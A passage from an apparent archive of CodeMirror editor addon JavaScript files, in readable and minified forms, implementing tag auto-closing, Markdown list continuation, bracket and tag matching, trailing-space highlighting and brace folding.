      cm.replaceRange(info.text, ranges[i].head, ranges[i].anchor,
"+insert");
      var sel = cm.listSelections().slice(0);
      sel[i] = {head: info.newPos, anchor: info.newPos};
      cm.setSelections(sel);
      if (!dontIndentOnAutoClose && info.indent) {
        cm.indentLine(info.newPos.line, null, true);
        cm.indentLine(info.newPos.line + 1, null, true);
      }
    }
  }

  function autoCloseCurrent(cm, typingSlash) {
    var ranges = cm.listSelections(), replacements = [];
    var head = typingSlash ? "/" : "</";
    var opt = cm.getOption("autoCloseTags");
    var dontIndentOnAutoClose = (typeof opt == "object"
&& opt.dontIndentOnSlash);
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state =
inner.state;
      if (typingSlash && (tok.type == "string" ||
tok.string.charAt(0) != "<" ||
                          tok.start != pos.ch - 1))
        return CodeMirror.Pass;
      // Kludge to get around the fact that we are not in XML mode
      // when completing in JS/CSS snippet in htmlmixed mode. Does not
      // work for other XML embedded languages (there is no general
      // way to go from a mixed mode to its current XML state).
      var replacement, mixed = inner.mode.name != "xml"
&& cm.getMode().name == "htmlmixed"
      if (mixed && inner.mode.name == "javascript") {
        replacement = head + "script";
      } else if (mixed && inner.mode.name == "css") {
        replacement = head + "style";
      } else {
        var context = inner.mode.xmlCurrentContext &&
inner.mode.xmlCurrentContext(state)
        if (!context || (context.length && closingTagExists(cm,
context, context[context.length - 1], pos)))
          return CodeMirror.Pass;
        replacement = head + context[context.length - 1]
      }
      if (cm.getLine(pos.line).charAt(tok.end) != ">")
replacement += ">";
      replacements[i] = replacement;
    }
    cm.replaceSelections(replacements);
    ranges = cm.listSelections();
    if (!dontIndentOnAutoClose) {
        for (var i = 0; i < ranges.length; i++)
            if (i == ranges.length - 1 || ranges[i].head.line < ranges[i
+ 1].head.line)
                cm.indentLine(ranges[i].head.line);
    }
  }

  function autoCloseSlash(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    return autoCloseCurrent(cm, true);
  }

  CodeMirror.commands.closeTag = function(cm) { return
autoCloseCurrent(cm); };

  function indexOf(collection, elt) {
    if (collection.indexOf) return collection.indexOf(elt);
    for (var i = 0, e = collection.length; i < e; ++i)
      if (collection[i] == elt) return i;
    return -1;
  }

  // If xml-fold is loaded, we use its functionality to try and verify
  // whether a given tag is actually unclosed.
  function closingTagExists(cm, context, tagName, pos, newTag) {
    if (!CodeMirror.scanForClosingTag) return false;
    var end = Math.min(cm.lastLine() + 1, pos.line + 500);
    var nextClose = CodeMirror.scanForClosingTag(cm, pos, null, end);
    if (!nextClose || nextClose.tag != tagName) return false;
    // If the immediate wrapping context contains onCx instances of
    // the same tag, a closing tag only exists if there are at least
    // that many closing tags of that type following.
    var onCx = newTag ? 1 : 0
    for (var i = context.length - 1; i >= 0; i--) {
      if (context[i] == tagName) ++onCx
      else break
    }
    pos = nextClose.to;
    for (var i = 1; i < onCx; i++) {
      var next = CodeMirror.scanForClosingTag(cm, pos, null, end);
      if (!next || next.tag != tagName) return false;
      pos = next.to;
    }
    return true;
  }
});
PK6��[J���
�
%codemirror/addon/edit/closetag.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../fold/xml-fold")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],a):a(CodeMirror)})((function(a){function
b(b){if(b.getOption("disableInput"))return a.Pass;for(var
c=b.listSelections(),d=[],i=b.getOption("autoCloseTags"),j=0;j<c.length;j++){if(!c[j].empty())return
a.Pass;var
k=c[j].head,l=b.getTokenAt(k),m=a.innerMode(b.getMode(),l.state),n=m.state,o=m.mode.xmlCurrentTag&&m.mode.xmlCurrentTag(n),p=o&&o.name;if(!p)return
a.Pass;var
q="html"==m.mode.configuration,r="object"==typeof
i&&i.dontCloseTags||q&&g,s="object"==typeof
i&&i.indentTags||q&&h;l.end>k.ch&&(p=p.slice(0,p.length-l.end+k.ch));var
t=p.toLowerCase();if(!p||"string"==l.type&&(l.end!=k.ch||!/[\"\']/.test(l.string.charAt(l.string.length-1))||1==l.string.length)||"tag"==l.type&&o.close||l.string.indexOf("/")==k.ch-l.start-1||r&&e(r,t)>-1||f(b,m.mode.xmlCurrentContext&&m.mode.xmlCurrentContext(n)||[],p,k,!0))return
a.Pass;var u="object"==typeof
i&&i.emptyTags;if(u&&e(u,p)>-1)d[j]={text:"/>",newPos:a.Pos(k.line,k.ch+2)};else{var
v=s&&e(s,t)>-1;d[j]={indent:v,text:">"+(v?"\n\n":"")+"</"+p+">",newPos:v?a.Pos(k.line+1,0):a.Pos(k.line,k.ch+1)}}}for(var
w="object"==typeof
i&&i.dontIndentOnAutoClose,j=c.length-1;j>=0;j--){var
x=d[j];b.replaceRange(x.text,c[j].head,c[j].anchor,"+insert");var
y=b.listSelections().slice(0);y[j]={head:x.newPos,anchor:x.newPos},b.setSelections(y),!w&&x.indent&&(b.indentLine(x.newPos.line,null,!0),b.indentLine(x.newPos.line+1,null,!0))}}function
c(b,c){for(var
d=b.listSelections(),e=[],g=c?"/":"</",h=b.getOption("autoCloseTags"),i="object"==typeof
h&&h.dontIndentOnSlash,j=0;j<d.length;j++){if(!d[j].empty())return
a.Pass;var
k=d[j].head,l=b.getTokenAt(k),m=a.innerMode(b.getMode(),l.state),n=m.state;if(c&&("string"==l.type||"<"!=l.string.charAt(0)||l.start!=k.ch-1))return
a.Pass;var
o,p="xml"!=m.mode.name&&"htmlmixed"==b.getMode().name;if(p&&"javascript"==m.mode.name)o=g+"script";else
if(p&&"css"==m.mode.name)o=g+"style";else{var
q=m.mode.xmlCurrentContext&&m.mode.xmlCurrentContext(n);if(!q||q.length&&f(b,q,q[q.length-1],k))return
a.Pass;o=g+q[q.length-1]}">"!=b.getLine(k.line).charAt(l.end)&&(o+=">"),e[j]=o}if(b.replaceSelections(e),d=b.listSelections(),!i)for(var
j=0;j<d.length;j++)(j==d.length-1||d[j].head.line<d[j+1].head.line)&&b.indentLine(d[j].head.line)}function
d(b){return b.getOption("disableInput")?a.Pass:c(b,!0)}function
e(a,b){if(a.indexOf)return a.indexOf(b);for(var
c=0,d=a.length;c<d;++c)if(a[c]==b)return c;return-1}function
f(b,c,d,e,f){if(!a.scanForClosingTag)return!1;var
g=Math.min(b.lastLine()+1,e.line+500),h=a.scanForClosingTag(b,e,null,g);if(!h||h.tag!=d)return!1;for(var
i=f?1:0,j=c.length-1;j>=0&&c[j]==d;j--)++i;e=h.to;for(var
j=1;j<i;j++){var
k=a.scanForClosingTag(b,e,null,g);if(!k||k.tag!=d)return!1;e=k.to}return!0}a.defineOption("autoCloseTags",!1,(function(c,e,f){if(f!=a.Init&&f&&c.removeKeyMap("autoCloseTags"),e){var
g={name:"autoCloseTags"};"object"==typeof
e&&!1===e.whenClosing||(g["'/'"]=function(a){return
d(a)}),"object"==typeof
e&&!1===e.whenOpening||(g["'>'"]=function(a){return
b(a)}),c.addKeyMap(g)}}));var
g=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],h=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"];a.commands.closeTag=function(a){return
c(a)}}));PK6��[ѨI�kk%codemirror/addon/edit/continuelist.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var listRE = /^(\s*)(>[> ]*|[*+-] \[[x
]\]\s|[*+-]\s|(\d+)([.)]))(\s*)/,
      emptyListRE = /^(\s*)(>[> ]*|[*+-] \[[x
]\]|[*+-]|(\d+)[.)])(\s*)$/,
      unorderedListRE = /[*+-]\s/;

  CodeMirror.commands.newlineAndIndentContinueMarkdownList = function(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head;

      // If we're not in Markdown mode, fall back to normal
newlineAndIndent
      var eolState = cm.getStateAfter(pos.line);
      var inner = CodeMirror.innerMode(cm.getMode(), eolState);
      if (inner.mode.name !== "markdown") {
        cm.execCommand("newlineAndIndent");
        return;
      } else {
        eolState = inner.state;
      }

      var inList = eolState.list !== false;
      var inQuote = eolState.quote !== 0;

      var line = cm.getLine(pos.line), match = listRE.exec(line);
      var cursorBeforeBullet = /^\s*$/.test(line.slice(0, pos.ch));
      if (!ranges[i].empty() || (!inList && !inQuote) || !match ||
cursorBeforeBullet) {
        cm.execCommand("newlineAndIndent");
        return;
      }
      if (emptyListRE.test(line)) {
        var endOfQuote = inQuote && />\s*$/.test(line)
        var endOfList = !/>\s*$/.test(line)
        if (endOfQuote || endOfList) cm.replaceRange("", {
          line: pos.line, ch: 0
        }, {
          line: pos.line, ch: pos.ch + 1
        });
        replacements[i] = "\n";
      } else {
        var indent = match[1], after = match[5];
        var numbered = !(unorderedListRE.test(match[2]) ||
match[2].indexOf(">") >= 0);
        var bullet = numbered ? (parseInt(match[3], 10) + 1) + match[4] :
match[2].replace("x", " ");
        replacements[i] = "\n" + indent + bullet + after;

        if (numbered) incrementRemainingMarkdownListNumbers(cm, pos);
      }
    }

    cm.replaceSelections(replacements);
  };

  // Auto-updating Markdown list numbers when a new item is added to the
  // middle of a list
  function incrementRemainingMarkdownListNumbers(cm, pos) {
    var startLine = pos.line, lookAhead = 0, skipCount = 0;
    var startItem = listRE.exec(cm.getLine(startLine)), startIndent =
startItem[1];

    do {
      lookAhead += 1;
      var nextLineNumber = startLine + lookAhead;
      var nextLine = cm.getLine(nextLineNumber), nextItem =
listRE.exec(nextLine);

      if (nextItem) {
        var nextIndent = nextItem[1];
        var newNumber = (parseInt(startItem[3], 10) + lookAhead -
skipCount);
        var nextNumber = (parseInt(nextItem[3], 10)), itemNumber =
nextNumber;

        if (startIndent === nextIndent && !isNaN(nextNumber)) {
          if (newNumber === nextNumber) itemNumber = nextNumber + 1;
          if (newNumber > nextNumber) itemNumber = newNumber + 1;
          cm.replaceRange(
            nextLine.replace(listRE, nextIndent + itemNumber + nextItem[4]
+ nextItem[5]),
          {
            line: nextLineNumber, ch: 0
          }, {
            line: nextLineNumber, ch: nextLine.length
          });
        } else {
          if (startIndent.length > nextIndent.length) return;
          // This doesn't run if the next line immediatley indents, as
it is
          // not clear of the users intention (new indented item or same
level)
          if ((startIndent.length < nextIndent.length) &&
(lookAhead === 1)) return;
          skipCount += 1;
        }
      }
    } while (nextItem);
  }
});
PK6��[zx���)codemirror/addon/edit/continuelist.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){var
d=b.line,e=0,f=0,g=c.exec(a.getLine(d)),h=g[1];do{e+=1;var
i=d+e,j=a.getLine(i),k=c.exec(j);if(k){var
l=k[1],m=parseInt(g[3],10)+e-f,n=parseInt(k[3],10),o=n;if(h!==l||isNaN(n)){if(h.length>l.length)return;if(h.length<l.length&&1===e)return;f+=1}else
m===n&&(o=n+1),m>n&&(o=m+1),a.replaceRange(j.replace(c,l+o+k[4]+k[5]),{line:i,ch:0},{line:i,ch:j.length})}}while(k)}var
c=/^(\s*)(>[> ]*|[*+-] \[[x
]\]\s|[*+-]\s|(\d+)([.)]))(\s*)/,d=/^(\s*)(>[> ]*|[*+-] \[[x
]\]|[*+-]|(\d+)[.)])(\s*)$/,e=/[*+-]\s/;a.commands.newlineAndIndentContinueMarkdownList=function(f){if(f.getOption("disableInput"))return
a.Pass;for(var g=f.listSelections(),h=[],i=0;i<g.length;i++){var
j=g[i].head,k=f.getStateAfter(j.line),l=a.innerMode(f.getMode(),k);if("markdown"!==l.mode.name)return
void f.execCommand("newlineAndIndent");k=l.state;var
m=!1!==k.list,n=0!==k.quote,o=f.getLine(j.line),p=c.exec(o),q=/^\s*$/.test(o.slice(0,j.ch));if(!g[i].empty()||!m&&!n||!p||q)return
void f.execCommand("newlineAndIndent");if(d.test(o)){var
r=n&&/>\s*$/.test(o),s=!/>\s*$/.test(o);(r||s)&&f.replaceRange("",{line:j.line,ch:0},{line:j.line,ch:j.ch+1}),h[i]="\n"}else{var
t=p[1],u=p[5],v=!(e.test(p[2])||p[2].indexOf(">")>=0),w=v?parseInt(p[3],10)+1+p[4]:p[2].replace("x","
");h[i]="\n"+t+w+u,v&&b(f,j)}}f.replaceSelections(h)}}));PK6��[������&codemirror/addon/edit/matchbrackets.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var ie_lt8 = /MSIE \d/.test(navigator.userAgent) &&
    (document.documentMode == null || document.documentMode < 8);

  var Pos = CodeMirror.Pos;

  var matching = {"(": ")>", ")":
"(<", "[": "]>", "]":
"[<", "{": "}>", "}":
"{<", "<": ">>",
">": "<<"};

  function bracketRegex(config) {
    return config && config.bracketRegex || /[(){}[\]]/
  }

  function findMatchingBracket(cm, where, config) {
    var line = cm.getLineHandle(where.line), pos = where.ch - 1;
    var afterCursor = config && config.afterCursor
    if (afterCursor == null)
      afterCursor = /(^| )cm-fat-cursor($|
)/.test(cm.getWrapperElement().className)
    var re = bracketRegex(config)

    // A cursor is defined as between two characters, but in in vim command
mode
    // (i.e. not insert mode), the cursor is visually represented as a
    // highlighted box on top of the 2nd character. Otherwise, we allow
matches
    // from before or after the cursor.
    var match = (!afterCursor && pos >= 0 &&
re.test(line.text.charAt(pos)) && matching[line.text.charAt(pos)])
||
        re.test(line.text.charAt(pos + 1)) &&
matching[line.text.charAt(++pos)];
    if (!match) return null;
    var dir = match.charAt(1) == ">" ? 1 : -1;
    if (config && config.strict && (dir > 0) != (pos ==
where.ch)) return null;
    var style = cm.getTokenTypeAt(Pos(where.line, pos + 1));

    var found = scanForBracket(cm, Pos(where.line, pos + (dir > 0 ? 1 :
0)), dir, style || null, config);
    if (found == null) return null;
    return {from: Pos(where.line, pos), to: found && found.pos,
            match: found && found.ch == match.charAt(0), forward:
dir > 0};
  }

  // bracketRegex is used to specify which type of bracket to scan
  // should be a regexp, e.g. /[[\]]/
  //
  // Note: If "where" is on an open bracket, then this bracket is
ignored.
  //
  // Returns false when no bracket was found, null when it reached
  // maxScanLines and gave up
  function scanForBracket(cm, where, dir, style, config) {
    var maxScanLen = (config && config.maxScanLineLength) || 10000;
    var maxScanLines = (config && config.maxScanLines) || 1000;

    var stack = [];
    var re = bracketRegex(config)
    var lineEnd = dir > 0 ? Math.min(where.line + maxScanLines,
cm.lastLine() + 1)
                          : Math.max(cm.firstLine() - 1, where.line -
maxScanLines);
    for (var lineNo = where.line; lineNo != lineEnd; lineNo += dir) {
      var line = cm.getLine(lineNo);
      if (!line) continue;
      var pos = dir > 0 ? 0 : line.length - 1, end = dir > 0 ?
line.length : -1;
      if (line.length > maxScanLen) continue;
      if (lineNo == where.line) pos = where.ch - (dir < 0 ? 1 : 0);
      for (; pos != end; pos += dir) {
        var ch = line.charAt(pos);
        if (re.test(ch) && (style === undefined ||
cm.getTokenTypeAt(Pos(lineNo, pos + 1)) == style)) {
          var match = matching[ch];
          if (match && (match.charAt(1) == ">") ==
(dir > 0)) stack.push(ch);
          else if (!stack.length) return {pos: Pos(lineNo, pos), ch: ch};
          else stack.pop();
        }
      }
    }
    return lineNo - dir == (dir > 0 ? cm.lastLine() : cm.firstLine()) ?
false : null;
  }

  function matchBrackets(cm, autoclear, config) {
    // Disable brace matching in long lines, since it'll cause hugely
slow updates
    var maxHighlightLen = cm.state.matchBrackets.maxHighlightLineLength ||
1000;
    var marks = [], ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      var match = ranges[i].empty() && findMatchingBracket(cm,
ranges[i].head, config);
      if (match && cm.getLine(match.from.line).length <=
maxHighlightLen) {
        var style = match.match ? "CodeMirror-matchingbracket" :
"CodeMirror-nonmatchingbracket";
        marks.push(cm.markText(match.from, Pos(match.from.line,
match.from.ch + 1), {className: style}));
        if (match.to && cm.getLine(match.to.line).length <=
maxHighlightLen)
          marks.push(cm.markText(match.to, Pos(match.to.line, match.to.ch +
1), {className: style}));
      }
    }

    if (marks.length) {
      // Kludge to work around the IE bug from issue #1193, where text
      // input stops going to the textare whever this fires.
      if (ie_lt8 && cm.state.focused) cm.focus();

      var clear = function() {
        cm.operation(function() {
          for (var i = 0; i < marks.length; i++) marks[i].clear();
        });
      };
      if (autoclear) setTimeout(clear, 800);
      else return clear;
    }
  }

  function doMatchBrackets(cm) {
    cm.operation(function() {
      if (cm.state.matchBrackets.currentlyHighlighted) {
        cm.state.matchBrackets.currentlyHighlighted();
        cm.state.matchBrackets.currentlyHighlighted = null;
      }
      cm.state.matchBrackets.currentlyHighlighted = matchBrackets(cm,
false, cm.state.matchBrackets);
    });
  }

  CodeMirror.defineOption("matchBrackets", false, function(cm,
val, old) {
    function clear(cm) {
      if (cm.state.matchBrackets &&
cm.state.matchBrackets.currentlyHighlighted) {
        cm.state.matchBrackets.currentlyHighlighted();
        cm.state.matchBrackets.currentlyHighlighted = null;
      }
    }

    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchBrackets);
      cm.off("focus", doMatchBrackets)
      cm.off("blur", clear)
      clear(cm);
    }
    if (val) {
      cm.state.matchBrackets = typeof val == "object" ? val : {};
      cm.on("cursorActivity", doMatchBrackets);
      cm.on("focus", doMatchBrackets)
      cm.on("blur", clear)
    }
  });

  CodeMirror.defineExtension("matchBrackets", function()
{matchBrackets(this, true);});
  CodeMirror.defineExtension("findMatchingBracket", function(pos,
config, oldConfig){
    // Backwards-compatibility kludge
    if (oldConfig || typeof config == "boolean") {
      if (!oldConfig) {
        config = config ? {strict: true} : null
      } else {
        oldConfig.strict = config
        config = oldConfig
      }
    }
    return findMatchingBracket(this, pos, config)
  });
  CodeMirror.defineExtension("scanForBracket", function(pos, dir,
style, config){
    return scanForBracket(this, pos, dir, style, config);
  });
});
PK6��[�Wx*codemirror/addon/edit/matchbrackets.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a){return a&&a.bracketRegex||/[(){}[\]]/}function c(a,c,e){var
f=a.getLineHandle(c.line),g=c.ch-1,j=e&&e.afterCursor;null==j&&(j=/(^|
)cm-fat-cursor($| )/.test(a.getWrapperElement().className));var
k=b(e),l=!j&&g>=0&&k.test(f.text.charAt(g))&&i[f.text.charAt(g)]||k.test(f.text.charAt(g+1))&&i[f.text.charAt(++g)];if(!l)return
null;var
m=">"==l.charAt(1)?1:-1;if(e&&e.strict&&m>0!=(g==c.ch))return
null;var
n=a.getTokenTypeAt(h(c.line,g+1)),o=d(a,h(c.line,g+(m>0?1:0)),m,n||null,e);return
null==o?null:{from:h(c.line,g),to:o&&o.pos,match:o&&o.ch==l.charAt(0),forward:m>0}}function
d(a,c,d,e,f){for(var
g=f&&f.maxScanLineLength||1e4,j=f&&f.maxScanLines||1e3,k=[],l=b(f),m=d>0?Math.min(c.line+j,a.lastLine()+1):Math.max(a.firstLine()-1,c.line-j),n=c.line;n!=m;n+=d){var
o=a.getLine(n);if(o){var
p=d>0?0:o.length-1,q=d>0?o.length:-1;if(!(o.length>g))for(n==c.line&&(p=c.ch-(d<0?1:0));p!=q;p+=d){var
r=o.charAt(p);if(l.test(r)&&(void
0===e||a.getTokenTypeAt(h(n,p+1))==e)){var
s=i[r];if(s&&">"==s.charAt(1)==d>0)k.push(r);else{if(!k.length)return{pos:h(n,p),ch:r};k.pop()}}}}}return
n-d!=(d>0?a.lastLine():a.firstLine())&&null}function
e(a,b,d){for(var
e=a.state.matchBrackets.maxHighlightLineLength||1e3,f=[],i=a.listSelections(),j=0;j<i.length;j++){var
k=i[j].empty()&&c(a,i[j].head,d);if(k&&a.getLine(k.from.line).length<=e){var
l=k.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";f.push(a.markText(k.from,h(k.from.line,k.from.ch+1),{className:l})),k.to&&a.getLine(k.to.line).length<=e&&f.push(a.markText(k.to,h(k.to.line,k.to.ch+1),{className:l}))}}if(f.length){g&&a.state.focused&&a.focus();var
m=function(){a.operation((function(){for(var
a=0;a<f.length;a++)f[a].clear()}))};if(!b)return
m;setTimeout(m,800)}}function
f(a){a.operation((function(){a.state.matchBrackets.currentlyHighlighted&&(a.state.matchBrackets.currentlyHighlighted(),a.state.matchBrackets.currentlyHighlighted=null),a.state.matchBrackets.currentlyHighlighted=e(a,!1,a.state.matchBrackets)}))}var
g=/MSIE
\d/.test(navigator.userAgent)&&(null==document.documentMode||document.documentMode<8),h=a.Pos,i={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<","<":">>",">":"<<"};a.defineOption("matchBrackets",!1,(function(b,c,d){function
e(a){a.state.matchBrackets&&a.state.matchBrackets.currentlyHighlighted&&(a.state.matchBrackets.currentlyHighlighted(),a.state.matchBrackets.currentlyHighlighted=null)}d&&d!=a.Init&&(b.off("cursorActivity",f),b.off("focus",f),b.off("blur",e),e(b)),c&&(b.state.matchBrackets="object"==typeof
c?c:{},b.on("cursorActivity",f),b.on("focus",f),b.on("blur",e))})),a.defineExtension("matchBrackets",(function(){e(this,!0)})),a.defineExtension("findMatchingBracket",(function(a,b,d){return(d||"boolean"==typeof
b)&&(d?(d.strict=b,b=d):b=b?{strict:!0}:null),c(this,a,b)})),a.defineExtension("scanForBracket",(function(a,b,c,e){return
d(this,a,b,c,e)}))}));PK6��[l�=F4	4	"codemirror/addon/edit/matchtags.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("matchTags", false, function(cm, val,
old) {
    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchTags);
      cm.off("viewportChange", maybeUpdateMatch);
      clear(cm);
    }
    if (val) {
      cm.state.matchBothTags = typeof val == "object" &&
val.bothTags;
      cm.on("cursorActivity", doMatchTags);
      cm.on("viewportChange", maybeUpdateMatch);
      doMatchTags(cm);
    }
  });

  function clear(cm) {
    if (cm.state.tagHit) cm.state.tagHit.clear();
    if (cm.state.tagOther) cm.state.tagOther.clear();
    cm.state.tagHit = cm.state.tagOther = null;
  }

  function doMatchTags(cm) {
    cm.state.failedTagMatch = false;
    cm.operation(function() {
      clear(cm);
      if (cm.somethingSelected()) return;
      var cur = cm.getCursor(), range = cm.getViewport();
      range.from = Math.min(range.from, cur.line); range.to =
Math.max(cur.line + 1, range.to);
      var match = CodeMirror.findMatchingTag(cm, cur, range);
      if (!match) return;
      if (cm.state.matchBothTags) {
        var hit = match.at == "open" ? match.open : match.close;
        if (hit) cm.state.tagHit = cm.markText(hit.from, hit.to,
{className: "CodeMirror-matchingtag"});
      }
      var other = match.at == "close" ? match.open : match.close;
      if (other)
        cm.state.tagOther = cm.markText(other.from, other.to, {className:
"CodeMirror-matchingtag"});
      else
        cm.state.failedTagMatch = true;
    });
  }

  function maybeUpdateMatch(cm) {
    if (cm.state.failedTagMatch) doMatchTags(cm);
  }

  CodeMirror.commands.toMatchingTag = function(cm) {
    var found = CodeMirror.findMatchingTag(cm, cm.getCursor());
    if (found) {
      var other = found.at == "close" ? found.open : found.close;
      if (other) cm.extendSelection(other.to, other.from);
    }
  };
});
PK6��[��T�EE&codemirror/addon/edit/matchtags.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../fold/xml-fold")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a){a.state.tagHit&&a.state.tagHit.clear(),a.state.tagOther&&a.state.tagOther.clear(),a.state.tagHit=a.state.tagOther=null}function
c(c){c.state.failedTagMatch=!1,c.operation((function(){if(b(c),!c.somethingSelected()){var
d=c.getCursor(),e=c.getViewport();e.from=Math.min(e.from,d.line),e.to=Math.max(d.line+1,e.to);var
f=a.findMatchingTag(c,d,e);if(f){if(c.state.matchBothTags){var
g="open"==f.at?f.open:f.close;g&&(c.state.tagHit=c.markText(g.from,g.to,{className:"CodeMirror-matchingtag"}))}var
h="close"==f.at?f.open:f.close;h?c.state.tagOther=c.markText(h.from,h.to,{className:"CodeMirror-matchingtag"}):c.state.failedTagMatch=!0}}}))}function
d(a){a.state.failedTagMatch&&c(a)}a.defineOption("matchTags",!1,(function(e,f,g){g&&g!=a.Init&&(e.off("cursorActivity",c),e.off("viewportChange",d),b(e)),f&&(e.state.matchBothTags="object"==typeof
f&&f.bothTags,e.on("cursorActivity",c),e.on("viewportChange",d),c(e))})),a.commands.toMatchingTag=function(b){var
c=a.findMatchingTag(b,b.getCursor());if(c){var
d="close"==c.at?c.open:c.close;d&&b.extendSelection(d.to,d.from)}}}));PK6��[���:��&codemirror/addon/edit/trailingspace.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("showTrailingSpace", false,
function(cm, val, prev) {
    if (prev == CodeMirror.Init) prev = false;
    if (prev && !val)
      cm.removeOverlay("trailingspace");
    else if (!prev && val)
      cm.addOverlay({
        token: function(stream) {
          for (var l = stream.string.length, i = l; i &&
/\s/.test(stream.string.charAt(i - 1)); --i) {}
          if (i > stream.pos) { stream.pos = i; return null; }
          stream.pos = l;
          return "trailingspace";
        },
        name: "trailingspace"
      });
  });
});
PK6��[�����*codemirror/addon/edit/trailingspace.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){a.defineOption("showTrailingSpace",!1,(function(b,c,d){d==a.Init&&(d=!1),d&&!c?b.removeOverlay("trailingspace"):!d&&c&&b.addOverlay({token:function(a){for(var
b=a.string.length,c=b;c&&/\s/.test(a.string.charAt(c-1));--c);return
c>a.pos?(a.pos=c,null):(a.pos=b,"trailingspace")},name:"trailingspace"})}))}));PK6��[Y��PP#codemirror/addon/fold/brace-fold.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "brace", function(cm,
start) {
  var line = start.line, lineText = cm.getLine(line);
  var tokenType;

  function findOpening(openCh) {
    for (var at = start.ch, pass = 0;;) {
      var found = at <= 0 ? -1 : lineText.lastIndexOf(openCh, at - 1);
      if (found == -1) {
        if (pass == 1) break;
        pass = 1;
        at = lineText.length;
        continue;
      }
      if (pass == 1 && found < start.ch) break;
      tokenType = cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1));
      if (!/^(comment|string)/.test(tokenType)) return found + 1;
      at = found - 1;
    }
  }

  var startToken = "{", endToken = "}", startCh =
findOpening("{");
  if (startCh == null) {
    startToken = "[", endToken = "]";
    startCh = findOpening("[");
  }

  if (startCh == null) return;
  var count = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose =
text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (cm.getTokenTypeAt(CodeMirror.Pos(i, pos + 1)) == tokenType) {
        if (pos == nextOpen) ++count;
        else if (!--count) { end = i; endCh = pos; break outer; }
      }
      ++pos;
    }
  }
  if (end == null || line == end) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

CodeMirror.registerHelper("fold", "import",
function(cm, start) {
  function hasImport(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start =
cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type != "keyword" || start.string !=
"import") return null;
